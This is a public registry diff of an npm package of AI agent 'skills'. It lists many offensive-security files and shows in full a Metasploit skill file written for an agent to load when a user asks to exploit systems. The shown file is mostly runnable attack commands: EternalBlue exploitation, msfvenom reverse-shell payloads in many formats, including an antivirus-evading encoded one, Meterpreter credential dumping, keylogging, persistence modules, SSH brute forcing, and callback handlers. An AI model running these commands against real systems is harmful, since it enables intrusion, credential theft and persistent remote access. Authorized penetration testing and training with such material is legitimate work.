@namch/agent-assistant 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +114 -522
- package/agents/backend-engineer.md +0 -8
- package/agents/brainstormer.md +0 -6
- package/agents/business-analyst.md +0 -5
- package/agents/database-architect.md +0 -6
- package/agents/debugger.md +0 -6
- package/agents/designer.md +0 -5
- package/agents/devops-engineer.md +0 -7
- package/agents/docs-manager.md +0 -6
- package/agents/frontend-engineer.md +0 -7
- package/agents/game-engineer.md +0 -7
- package/agents/mobile-engineer.md +0 -7
- package/agents/performance-engineer.md +0 -7
- package/agents/planner.md +0 -6
- package/agents/project-manager.md +0 -6
- package/agents/researcher.md +0 -5
- package/agents/reviewer.md +0 -6
- package/agents/scouter.md +0 -6
- package/agents/security-engineer.md +0 -7
- package/agents/tech-lead.md +0 -7
- package/agents/tester.md +0 -5
- package/cli/README.md +19 -10
- package/documents/business/business-features.md +1 -1
- package/documents/business/business-prd.md +4 -4
- package/documents/knowledge-architecture.md +1 -1
- package/documents/knowledge-domain.md +1 -1
- package/documents/knowledge-overview.md +14 -29
- package/documents/knowledge-source-base.md +14 -14
- package/package.json +1 -1
- package/rules/QUICK-REFERENCE.md +4 -1
- package/rules/SKILL-DISCOVERY.md +37 -14
- package/skills/active-directory-attacks/SKILL.md +383 -0
- package/skills/active-directory-attacks/references/advanced-attacks.md +382 -0
- package/skills/agent-evaluation/SKILL.md +64 -0
- package/skills/agent-memory-mcp/SKILL.md +82 -0
- package/skills/agent-memory-systems/SKILL.md +67 -0
- package/skills/agent-tool-builder/SKILL.md +53 -0
- package/skills/ai-agents-architect/SKILL.md +90 -0
- package/skills/ai-product/SKILL.md +54 -0
- package/skills/ai-wrapper-product/SKILL.md +273 -0
- package/skills/api-documentation-generator/SKILL.md +484 -0
- package/skills/api-fuzzing-bug-bounty/SKILL.md +433 -0
- package/skills/api-security-best-practices/SKILL.md +907 -0
- package/skills/autonomous-agent-patterns/SKILL.md +761 -0
- package/skills/autonomous-agents/SKILL.md +68 -0
- package/skills/aws-penetration-testing/SKILL.md +405 -0
- package/skills/aws-penetration-testing/references/advanced-aws-pentesting.md +469 -0
- package/skills/azure-functions/SKILL.md +42 -0
- package/skills/backend-dev-guidelines/SKILL.md +342 -0
- package/skills/backend-dev-guidelines/resources/architecture-overview.md +451 -0
- package/skills/backend-dev-guidelines/resources/async-and-errors.md +307 -0
- package/skills/backend-dev-guidelines/resources/complete-examples.md +638 -0
- package/skills/backend-dev-guidelines/resources/configuration.md +275 -0
- package/skills/backend-dev-guidelines/resources/database-patterns.md +224 -0
- package/skills/backend-dev-guidelines/resources/middleware-guide.md +213 -0
- package/skills/backend-dev-guidelines/resources/routing-and-controllers.md +756 -0
- package/skills/backend-dev-guidelines/resources/sentry-and-monitoring.md +336 -0
- package/skills/backend-dev-guidelines/resources/services-and-repositories.md +789 -0
- package/skills/backend-dev-guidelines/resources/testing-guide.md +235 -0
- package/skills/backend-dev-guidelines/resources/validation-patterns.md +754 -0
- package/skills/broken-authentication/SKILL.md +476 -0
- package/skills/bullmq-specialist/SKILL.md +57 -0
- package/skills/bun-development/SKILL.md +691 -0
- package/skills/burp-suite-testing/SKILL.md +380 -0
- package/skills/cloud-penetration-testing/SKILL.md +501 -0
- package/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md +318 -0
- package/skills/computer-use-agents/SKILL.md +315 -0
- package/skills/content-creator/SKILL.md +248 -0
- package/skills/content-creator/assets/content_calendar_template.md +99 -0
- package/skills/content-creator/references/brand_guidelines.md +199 -0
- package/skills/content-creator/references/content_frameworks.md +534 -0
- package/skills/content-creator/references/social_media_optimization.md +317 -0
- package/skills/content-creator/scripts/brand_voice_analyzer.py +185 -0
- package/skills/content-creator/scripts/seo_optimizer.py +419 -0
- package/skills/context-window-management/SKILL.md +53 -0
- package/skills/conversation-memory/SKILL.md +61 -0
- package/skills/copy-editing/SKILL.md +439 -0
- package/skills/copywriting/SKILL.md +225 -0
- package/skills/crewai/SKILL.md +243 -0
- package/skills/discord-bot-architect/SKILL.md +277 -0
- package/skills/dispatching-parallel-agents/SKILL.md +180 -0
- package/skills/email-sequence/SKILL.md +925 -0
- package/skills/email-systems/SKILL.md +54 -0
- package/skills/ethical-hacking-methodology/SKILL.md +466 -0
- package/skills/executing-plans/SKILL.md +76 -0
- package/skills/file-path-traversal/SKILL.md +486 -0
- package/skills/finishing-a-development-branch/SKILL.md +200 -0
- package/skills/frontend-dev-guidelines/SKILL.md +359 -0
- package/skills/frontend-dev-guidelines/resources/common-patterns.md +331 -0
- package/skills/frontend-dev-guidelines/resources/complete-examples.md +872 -0
- package/skills/frontend-dev-guidelines/resources/component-patterns.md +502 -0
- package/skills/frontend-dev-guidelines/resources/data-fetching.md +767 -0
- package/skills/frontend-dev-guidelines/resources/file-organization.md +502 -0
- package/skills/frontend-dev-guidelines/resources/loading-and-error-states.md +501 -0
- package/skills/frontend-dev-guidelines/resources/performance.md +406 -0
- package/skills/frontend-dev-guidelines/resources/routing-guide.md +364 -0
- package/skills/frontend-dev-guidelines/resources/styling-guide.md +428 -0
- package/skills/frontend-dev-guidelines/resources/typescript-standards.md +418 -0
- package/skills/gcp-cloud-run/SKILL.md +288 -0
- package/skills/git-pushing/SKILL.md +33 -0
- package/skills/git-pushing/scripts/smart_commit.sh +19 -0
- package/skills/github-workflow-automation/SKILL.md +846 -0
- package/skills/html-injection-testing/SKILL.md +498 -0
- package/skills/idor-testing/SKILL.md +442 -0
- package/skills/inngest/SKILL.md +55 -0
- package/skills/javascript-mastery/SKILL.md +645 -0
- package/skills/kaizen/SKILL.md +730 -0
- package/skills/langfuse/SKILL.md +238 -0
- package/skills/langgraph/SKILL.md +287 -0
- package/skills/linux-privilege-escalation/SKILL.md +504 -0
- package/skills/llm-app-patterns/SKILL.md +760 -0
- package/skills/metasploit-framework/SKILL.md +478 -0
- package/skills/multi-agent-brainstorming/SKILL.md +256 -0
- package/skills/neon-postgres/SKILL.md +56 -0
- package/skills/nextjs-supabase-auth/SKILL.md +56 -0
- package/skills/nosql-expert/SKILL.md +111 -0
- package/skills/pentest-checklist/SKILL.md +334 -0
- package/skills/pentest-commands/SKILL.md +438 -0
- package/skills/plaid-fintech/SKILL.md +50 -0
- package/skills/planning-with-files/SKILL.md +211 -0
- package/skills/planning-with-files/examples.md +202 -0
- package/skills/planning-with-files/reference.md +218 -0
- package/skills/planning-with-files/scripts/check-complete.sh +44 -0
- package/skills/planning-with-files/scripts/init-session.sh +120 -0
- package/skills/planning-with-files/templates/findings.md +95 -0
- package/skills/planning-with-files/templates/progress.md +114 -0
- package/skills/planning-with-files/templates/task_plan.md +132 -0
- package/skills/privilege-escalation-methods/SKILL.md +333 -0
- package/skills/production-code-audit/SKILL.md +540 -0
- package/skills/prompt-caching/SKILL.md +61 -0
- package/skills/prompt-engineering/SKILL.md +171 -0
- package/skills/prompt-library/SKILL.md +322 -0
- package/skills/rag-engineer/SKILL.md +90 -0
- package/skills/rag-implementation/SKILL.md +63 -0
- package/skills/react-ui-patterns/SKILL.md +289 -0
- package/skills/red-team-tools/SKILL.md +310 -0
- package/skills/scanning-tools/SKILL.md +589 -0
- package/skills/shodan-reconnaissance/SKILL.md +503 -0
- package/skills/slack-bot-builder/SKILL.md +264 -0
- package/skills/smtp-penetration-testing/SKILL.md +500 -0
- package/skills/social-content/SKILL.md +807 -0
- package/skills/software-architecture/SKILL.md +75 -0
- package/skills/sql-injection-testing/SKILL.md +448 -0
- package/skills/sqlmap-database-pentesting/SKILL.md +400 -0
- package/skills/ssh-penetration-testing/SKILL.md +488 -0
- package/skills/stripe-integration/SKILL.md +69 -0
- package/skills/subagent-driven-development/SKILL.md +240 -0
- package/skills/subagent-driven-development/code-quality-reviewer-prompt.md +20 -0
- package/skills/subagent-driven-development/implementer-prompt.md +78 -0
- package/skills/subagent-driven-development/spec-reviewer-prompt.md +61 -0
- package/skills/tavily-web/SKILL.md +36 -0
- package/skills/telegram-bot-builder/SKILL.md +254 -0
- package/skills/test-driven-development/SKILL.md +371 -0
- package/skills/test-driven-development/testing-anti-patterns.md +299 -0
- package/skills/test-fixing/SKILL.md +119 -0
- package/skills/top-web-vulnerabilities/SKILL.md +543 -0
- package/skills/trigger-dev/SKILL.md +67 -0
- package/skills/twilio-communications/SKILL.md +295 -0
- package/skills/upstash-qstash/SKILL.md +68 -0
- package/skills/verification-before-completion/SKILL.md +139 -0
- package/skills/voice-agents/SKILL.md +68 -0
- package/skills/voice-ai-development/SKILL.md +302 -0
- package/skills/windows-privilege-escalation/SKILL.md +496 -0
- package/skills/wireshark-analysis/SKILL.md +497 -0
- package/skills/wordpress-penetration-testing/SKILL.md +485 -0
- package/skills/workflow-automation/SKILL.md +68 -0
- package/skills/xss-html-injection/SKILL.md +499 -0
- package/skills/zapier-make-patterns/SKILL.md +67 -0
|
@@ -0,0 +1,478 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: Metasploit Framework
|
|
3
|
+
description: This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.
|
|
4
|
+
metadata:
|
|
5
|
+
author: zebbern
|
|
6
|
+
version: "1.1"
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# Metasploit Framework
|
|
10
|
+
|
|
11
|
+
## Purpose
|
|
12
|
+
|
|
13
|
+
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.
|
|
14
|
+
|
|
15
|
+
## Prerequisites
|
|
16
|
+
|
|
17
|
+
### Required Tools
|
|
18
|
+
```bash
|
|
19
|
+
# Metasploit comes pre-installed on Kali Linux
|
|
20
|
+
# For other systems:
|
|
21
|
+
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
|
|
22
|
+
chmod 755 msfinstall
|
|
23
|
+
./msfinstall
|
|
24
|
+
|
|
25
|
+
# Start PostgreSQL for database support
|
|
26
|
+
sudo systemctl start postgresql
|
|
27
|
+
sudo msfdb init
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
### Required Knowledge
|
|
31
|
+
- Network and system fundamentals
|
|
32
|
+
- Understanding of vulnerabilities and exploits
|
|
33
|
+
- Basic programming concepts
|
|
34
|
+
- Target enumeration techniques
|
|
35
|
+
|
|
36
|
+
### Required Access
|
|
37
|
+
- Written authorization for testing
|
|
38
|
+
- Network access to target systems
|
|
39
|
+
- Understanding of scope and rules of engagement
|
|
40
|
+
|
|
41
|
+
## Outputs and Deliverables
|
|
42
|
+
|
|
43
|
+
1. **Exploitation Evidence** - Screenshots and logs of successful compromises
|
|
44
|
+
2. **Session Logs** - Command history and extracted data
|
|
45
|
+
3. **Vulnerability Mapping** - Exploited vulnerabilities with CVE references
|
|
46
|
+
4. **Post-Exploitation Artifacts** - Credentials, files, and system information
|
|
47
|
+
|
|
48
|
+
## Core Workflow
|
|
49
|
+
|
|
50
|
+
### Phase 1: MSFConsole Basics
|
|
51
|
+
|
|
52
|
+
Launch and navigate the Metasploit console:
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
# Start msfconsole
|
|
56
|
+
msfconsole
|
|
57
|
+
|
|
58
|
+
# Quiet mode (skip banner)
|
|
59
|
+
msfconsole -q
|
|
60
|
+
|
|
61
|
+
# Basic navigation commands
|
|
62
|
+
msf6 > help # Show all commands
|
|
63
|
+
msf6 > search [term] # Search modules
|
|
64
|
+
msf6 > use [module] # Select module
|
|
65
|
+
msf6 > info # Show module details
|
|
66
|
+
msf6 > show options # Display required options
|
|
67
|
+
msf6 > set [OPTION] [value] # Configure option
|
|
68
|
+
msf6 > run / exploit # Execute module
|
|
69
|
+
msf6 > back # Return to main console
|
|
70
|
+
msf6 > exit # Exit msfconsole
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
### Phase 2: Module Types
|
|
74
|
+
|
|
75
|
+
Understand the different module categories:
|
|
76
|
+
|
|
77
|
+
```bash
|
|
78
|
+
# 1. Exploit Modules - Target specific vulnerabilities
|
|
79
|
+
msf6 > show exploits
|
|
80
|
+
msf6 > use exploit/windows/smb/ms17_010_eternalblue
|
|
81
|
+
|
|
82
|
+
# 2. Payload Modules - Code executed after exploitation
|
|
83
|
+
msf6 > show payloads
|
|
84
|
+
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
|
85
|
+
|
|
86
|
+
# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
|
|
87
|
+
msf6 > show auxiliary
|
|
88
|
+
msf6 > use auxiliary/scanner/smb/smb_version
|
|
89
|
+
|
|
90
|
+
# 4. Post-Exploitation Modules - Actions after compromise
|
|
91
|
+
msf6 > show post
|
|
92
|
+
msf6 > use post/windows/gather/hashdump
|
|
93
|
+
|
|
94
|
+
# 5. Encoders - Obfuscate payloads
|
|
95
|
+
msf6 > show encoders
|
|
96
|
+
msf6 > set ENCODER x86/shikata_ga_nai
|
|
97
|
+
|
|
98
|
+
# 6. Nops - No-operation padding for buffer overflows
|
|
99
|
+
msf6 > show nops
|
|
100
|
+
|
|
101
|
+
# 7. Evasion - Bypass security controls
|
|
102
|
+
msf6 > show evasion
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
### Phase 3: Searching for Modules
|
|
106
|
+
|
|
107
|
+
Find appropriate modules for targets:
|
|
108
|
+
|
|
109
|
+
```bash
|
|
110
|
+
# Search by name
|
|
111
|
+
msf6 > search eternalblue
|
|
112
|
+
|
|
113
|
+
# Search by CVE
|
|
114
|
+
msf6 > search cve:2017-0144
|
|
115
|
+
|
|
116
|
+
# Search by platform
|
|
117
|
+
msf6 > search platform:windows type:exploit
|
|
118
|
+
|
|
119
|
+
# Search by type and keyword
|
|
120
|
+
msf6 > search type:auxiliary smb
|
|
121
|
+
|
|
122
|
+
# Filter by rank (excellent, great, good, normal, average, low, manual)
|
|
123
|
+
msf6 > search rank:excellent
|
|
124
|
+
|
|
125
|
+
# Combined search
|
|
126
|
+
msf6 > search type:exploit platform:linux apache
|
|
127
|
+
|
|
128
|
+
# View search results columns:
|
|
129
|
+
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
### Phase 4: Configuring Exploits
|
|
133
|
+
|
|
134
|
+
Set up an exploit for execution:
|
|
135
|
+
|
|
136
|
+
```bash
|
|
137
|
+
# Select exploit module
|
|
138
|
+
msf6 > use exploit/windows/smb/ms17_010_eternalblue
|
|
139
|
+
|
|
140
|
+
# View required options
|
|
141
|
+
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
|
|
142
|
+
|
|
143
|
+
# Set target host
|
|
144
|
+
msf6 exploit(...) > set RHOSTS 192.168.1.100
|
|
145
|
+
|
|
146
|
+
# Set target port (if different from default)
|
|
147
|
+
msf6 exploit(...) > set RPORT 445
|
|
148
|
+
|
|
149
|
+
# View compatible payloads
|
|
150
|
+
msf6 exploit(...) > show payloads
|
|
151
|
+
|
|
152
|
+
# Set payload
|
|
153
|
+
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
|
154
|
+
|
|
155
|
+
# Set local host for reverse connection
|
|
156
|
+
msf6 exploit(...) > set LHOST 192.168.1.50
|
|
157
|
+
msf6 exploit(...) > set LPORT 4444
|
|
158
|
+
|
|
159
|
+
# View all options again to verify
|
|
160
|
+
msf6 exploit(...) > show options
|
|
161
|
+
|
|
162
|
+
# Check if target is vulnerable (if supported)
|
|
163
|
+
msf6 exploit(...) > check
|
|
164
|
+
|
|
165
|
+
# Execute exploit
|
|
166
|
+
msf6 exploit(...) > exploit
|
|
167
|
+
# or
|
|
168
|
+
msf6 exploit(...) > run
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
### Phase 5: Payload Types
|
|
172
|
+
|
|
173
|
+
Select appropriate payload for the situation:
|
|
174
|
+
|
|
175
|
+
```bash
|
|
176
|
+
# Singles - Self-contained, no staging
|
|
177
|
+
windows/shell_reverse_tcp
|
|
178
|
+
linux/x86/shell_bind_tcp
|
|
179
|
+
|
|
180
|
+
# Stagers - Small payload that downloads larger stage
|
|
181
|
+
windows/meterpreter/reverse_tcp
|
|
182
|
+
linux/x86/meterpreter/bind_tcp
|
|
183
|
+
|
|
184
|
+
# Stages - Downloaded by stager, provides full functionality
|
|
185
|
+
# Meterpreter, VNC, shell
|
|
186
|
+
|
|
187
|
+
# Payload naming convention:
|
|
188
|
+
# [platform]/[architecture]/[payload_type]/[connection_type]
|
|
189
|
+
# Examples:
|
|
190
|
+
windows/x64/meterpreter/reverse_tcp
|
|
191
|
+
linux/x86/shell/bind_tcp
|
|
192
|
+
php/meterpreter/reverse_tcp
|
|
193
|
+
java/meterpreter/reverse_https
|
|
194
|
+
android/meterpreter/reverse_tcp
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
### Phase 6: Meterpreter Session
|
|
198
|
+
|
|
199
|
+
Work with Meterpreter post-exploitation:
|
|
200
|
+
|
|
201
|
+
```bash
|
|
202
|
+
# After successful exploitation, you get Meterpreter prompt
|
|
203
|
+
meterpreter >
|
|
204
|
+
|
|
205
|
+
# System Information
|
|
206
|
+
meterpreter > sysinfo
|
|
207
|
+
meterpreter > getuid
|
|
208
|
+
meterpreter > getpid
|
|
209
|
+
|
|
210
|
+
# File System Operations
|
|
211
|
+
meterpreter > pwd
|
|
212
|
+
meterpreter > ls
|
|
213
|
+
meterpreter > cd C:\\Users
|
|
214
|
+
meterpreter > download file.txt /tmp/
|
|
215
|
+
meterpreter > upload /tmp/tool.exe C:\\
|
|
216
|
+
|
|
217
|
+
# Process Management
|
|
218
|
+
meterpreter > ps
|
|
219
|
+
meterpreter > migrate [PID]
|
|
220
|
+
meterpreter > kill [PID]
|
|
221
|
+
|
|
222
|
+
# Networking
|
|
223
|
+
meterpreter > ipconfig
|
|
224
|
+
meterpreter > netstat
|
|
225
|
+
meterpreter > route
|
|
226
|
+
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
|
|
227
|
+
|
|
228
|
+
# Privilege Escalation
|
|
229
|
+
meterpreter > getsystem
|
|
230
|
+
meterpreter > getprivs
|
|
231
|
+
|
|
232
|
+
# Credential Harvesting
|
|
233
|
+
meterpreter > hashdump
|
|
234
|
+
meterpreter > run post/windows/gather/credentials/credential_collector
|
|
235
|
+
|
|
236
|
+
# Screenshots and Keylogging
|
|
237
|
+
meterpreter > screenshot
|
|
238
|
+
meterpreter > keyscan_start
|
|
239
|
+
meterpreter > keyscan_dump
|
|
240
|
+
meterpreter > keyscan_stop
|
|
241
|
+
|
|
242
|
+
# Shell Access
|
|
243
|
+
meterpreter > shell
|
|
244
|
+
C:\Windows\system32> whoami
|
|
245
|
+
C:\Windows\system32> exit
|
|
246
|
+
meterpreter >
|
|
247
|
+
|
|
248
|
+
# Background Session
|
|
249
|
+
meterpreter > background
|
|
250
|
+
msf6 exploit(...) > sessions -l
|
|
251
|
+
msf6 exploit(...) > sessions -i 1
|
|
252
|
+
```
|
|
253
|
+
|
|
254
|
+
### Phase 7: Auxiliary Modules
|
|
255
|
+
|
|
256
|
+
Use auxiliary modules for reconnaissance:
|
|
257
|
+
|
|
258
|
+
```bash
|
|
259
|
+
# SMB Version Scanner
|
|
260
|
+
msf6 > use auxiliary/scanner/smb/smb_version
|
|
261
|
+
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
|
|
262
|
+
msf6 auxiliary(...) > run
|
|
263
|
+
|
|
264
|
+
# Port Scanner
|
|
265
|
+
msf6 > use auxiliary/scanner/portscan/tcp
|
|
266
|
+
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
|
|
267
|
+
msf6 auxiliary(...) > set PORTS 1-1000
|
|
268
|
+
msf6 auxiliary(...) > run
|
|
269
|
+
|
|
270
|
+
# SSH Version Scanner
|
|
271
|
+
msf6 > use auxiliary/scanner/ssh/ssh_version
|
|
272
|
+
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
|
|
273
|
+
msf6 auxiliary(...) > run
|
|
274
|
+
|
|
275
|
+
# FTP Anonymous Login
|
|
276
|
+
msf6 > use auxiliary/scanner/ftp/anonymous
|
|
277
|
+
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
|
|
278
|
+
msf6 auxiliary(...) > run
|
|
279
|
+
|
|
280
|
+
# HTTP Directory Scanner
|
|
281
|
+
msf6 > use auxiliary/scanner/http/dir_scanner
|
|
282
|
+
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
|
|
283
|
+
msf6 auxiliary(...) > run
|
|
284
|
+
|
|
285
|
+
# Brute Force Modules
|
|
286
|
+
msf6 > use auxiliary/scanner/ssh/ssh_login
|
|
287
|
+
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
|
|
288
|
+
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
|
|
289
|
+
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
|
|
290
|
+
msf6 auxiliary(...) > run
|
|
291
|
+
```
|
|
292
|
+
|
|
293
|
+
### Phase 8: Post-Exploitation Modules
|
|
294
|
+
|
|
295
|
+
Run post modules on active sessions:
|
|
296
|
+
|
|
297
|
+
```bash
|
|
298
|
+
# List sessions
|
|
299
|
+
msf6 > sessions -l
|
|
300
|
+
|
|
301
|
+
# Run post module on specific session
|
|
302
|
+
msf6 > use post/windows/gather/hashdump
|
|
303
|
+
msf6 post(windows/gather/hashdump) > set SESSION 1
|
|
304
|
+
msf6 post(...) > run
|
|
305
|
+
|
|
306
|
+
# Or run directly from Meterpreter
|
|
307
|
+
meterpreter > run post/windows/gather/hashdump
|
|
308
|
+
|
|
309
|
+
# Common Post Modules
|
|
310
|
+
# Credential Gathering
|
|
311
|
+
post/windows/gather/credentials/credential_collector
|
|
312
|
+
post/windows/gather/lsa_secrets
|
|
313
|
+
post/windows/gather/cachedump
|
|
314
|
+
post/multi/gather/ssh_creds
|
|
315
|
+
|
|
316
|
+
# System Enumeration
|
|
317
|
+
post/windows/gather/enum_applications
|
|
318
|
+
post/windows/gather/enum_logged_on_users
|
|
319
|
+
post/windows/gather/enum_shares
|
|
320
|
+
post/linux/gather/enum_configs
|
|
321
|
+
|
|
322
|
+
# Privilege Escalation
|
|
323
|
+
post/windows/escalate/getsystem
|
|
324
|
+
post/multi/recon/local_exploit_suggester
|
|
325
|
+
|
|
326
|
+
# Persistence
|
|
327
|
+
post/windows/manage/persistence_exe
|
|
328
|
+
post/linux/manage/sshkey_persistence
|
|
329
|
+
|
|
330
|
+
# Pivoting
|
|
331
|
+
post/multi/manage/autoroute
|
|
332
|
+
```
|
|
333
|
+
|
|
334
|
+
### Phase 9: Payload Generation with msfvenom
|
|
335
|
+
|
|
336
|
+
Create standalone payloads:
|
|
337
|
+
|
|
338
|
+
```bash
|
|
339
|
+
# Basic Windows reverse shell
|
|
340
|
+
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
|
|
341
|
+
|
|
342
|
+
# Linux reverse shell
|
|
343
|
+
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
|
|
344
|
+
|
|
345
|
+
# PHP reverse shell
|
|
346
|
+
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
|
|
347
|
+
|
|
348
|
+
# Python reverse shell
|
|
349
|
+
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
|
|
350
|
+
|
|
351
|
+
# PowerShell payload
|
|
352
|
+
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
|
|
353
|
+
|
|
354
|
+
# ASP web shell
|
|
355
|
+
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
|
|
356
|
+
|
|
357
|
+
# WAR file (Tomcat)
|
|
358
|
+
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
|
|
359
|
+
|
|
360
|
+
# Android APK
|
|
361
|
+
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
|
|
362
|
+
|
|
363
|
+
# Encoded payload (evade AV)
|
|
364
|
+
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
|
|
365
|
+
|
|
366
|
+
# List available formats
|
|
367
|
+
msfvenom --list formats
|
|
368
|
+
|
|
369
|
+
# List available encoders
|
|
370
|
+
msfvenom --list encoders
|
|
371
|
+
```
|
|
372
|
+
|
|
373
|
+
### Phase 10: Setting Up Handlers
|
|
374
|
+
|
|
375
|
+
Configure listener for incoming connections:
|
|
376
|
+
|
|
377
|
+
```bash
|
|
378
|
+
# Manual handler setup
|
|
379
|
+
msf6 > use exploit/multi/handler
|
|
380
|
+
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
|
381
|
+
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
|
|
382
|
+
msf6 exploit(multi/handler) > set LPORT 4444
|
|
383
|
+
msf6 exploit(multi/handler) > exploit -j
|
|
384
|
+
|
|
385
|
+
# The -j flag runs as background job
|
|
386
|
+
msf6 > jobs -l
|
|
387
|
+
|
|
388
|
+
# When payload executes on target, session opens
|
|
389
|
+
[*] Meterpreter session 1 opened
|
|
390
|
+
|
|
391
|
+
# Interact with session
|
|
392
|
+
msf6 > sessions -i 1
|
|
393
|
+
```
|
|
394
|
+
|
|
395
|
+
## Quick Reference
|
|
396
|
+
|
|
397
|
+
### Essential MSFConsole Commands
|
|
398
|
+
|
|
399
|
+
| Command | Description |
|
|
400
|
+
|---------|-------------|
|
|
401
|
+
| `search [term]` | Search for modules |
|
|
402
|
+
| `use [module]` | Select a module |
|
|
403
|
+
| `info` | Display module information |
|
|
404
|
+
| `show options` | Show configurable options |
|
|
405
|
+
| `set [OPT] [val]` | Set option value |
|
|
406
|
+
| `setg [OPT] [val]` | Set global option |
|
|
407
|
+
| `run` / `exploit` | Execute module |
|
|
408
|
+
| `check` | Verify target vulnerability |
|
|
409
|
+
| `back` | Deselect module |
|
|
410
|
+
| `sessions -l` | List active sessions |
|
|
411
|
+
| `sessions -i [N]` | Interact with session |
|
|
412
|
+
| `jobs -l` | List background jobs |
|
|
413
|
+
| `db_nmap` | Run nmap with database |
|
|
414
|
+
|
|
415
|
+
### Meterpreter Essential Commands
|
|
416
|
+
|
|
417
|
+
| Command | Description |
|
|
418
|
+
|---------|-------------|
|
|
419
|
+
| `sysinfo` | System information |
|
|
420
|
+
| `getuid` | Current user |
|
|
421
|
+
| `getsystem` | Attempt privilege escalation |
|
|
422
|
+
| `hashdump` | Dump password hashes |
|
|
423
|
+
| `shell` | Drop to system shell |
|
|
424
|
+
| `upload/download` | File transfer |
|
|
425
|
+
| `screenshot` | Capture screen |
|
|
426
|
+
| `keyscan_start` | Start keylogger |
|
|
427
|
+
| `migrate [PID]` | Move to another process |
|
|
428
|
+
| `background` | Background session |
|
|
429
|
+
| `portfwd` | Port forwarding |
|
|
430
|
+
|
|
431
|
+
### Common Exploit Modules
|
|
432
|
+
|
|
433
|
+
```bash
|
|
434
|
+
# Windows
|
|
435
|
+
exploit/windows/smb/ms17_010_eternalblue
|
|
436
|
+
exploit/windows/smb/ms08_067_netapi
|
|
437
|
+
exploit/windows/http/iis_webdav_upload_asp
|
|
438
|
+
exploit/windows/local/bypassuac
|
|
439
|
+
|
|
440
|
+
# Linux
|
|
441
|
+
exploit/linux/ssh/sshexec
|
|
442
|
+
exploit/linux/local/overlayfs_priv_esc
|
|
443
|
+
exploit/multi/http/apache_mod_cgi_bash_env_exec
|
|
444
|
+
|
|
445
|
+
# Web Applications
|
|
446
|
+
exploit/multi/http/tomcat_mgr_upload
|
|
447
|
+
exploit/unix/webapp/wp_admin_shell_upload
|
|
448
|
+
exploit/multi/http/jenkins_script_console
|
|
449
|
+
```
|
|
450
|
+
|
|
451
|
+
## Constraints and Limitations
|
|
452
|
+
|
|
453
|
+
### Legal Requirements
|
|
454
|
+
- Only use on systems you own or have written authorization to test
|
|
455
|
+
- Document all testing activities
|
|
456
|
+
- Follow rules of engagement
|
|
457
|
+
- Report all findings to appropriate parties
|
|
458
|
+
|
|
459
|
+
### Technical Limitations
|
|
460
|
+
- Modern AV/EDR may detect Metasploit payloads
|
|
461
|
+
- Some exploits require specific target configurations
|
|
462
|
+
- Firewall rules may block reverse connections
|
|
463
|
+
- Not all exploits work on all target versions
|
|
464
|
+
|
|
465
|
+
### Operational Security
|
|
466
|
+
- Use encrypted channels (reverse_https) when possible
|
|
467
|
+
- Clean up artifacts after testing
|
|
468
|
+
- Avoid detection by monitoring systems
|
|
469
|
+
- Limit post-exploitation to agreed scope
|
|
470
|
+
|
|
471
|
+
## Troubleshooting
|
|
472
|
+
|
|
473
|
+
| Issue | Solutions |
|
|
474
|
+
|-------|-----------|
|
|
475
|
+
| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |
|
|
476
|
+
| Exploit fails/no session | Run `check`; verify payload architecture; check firewall; try different payloads |
|
|
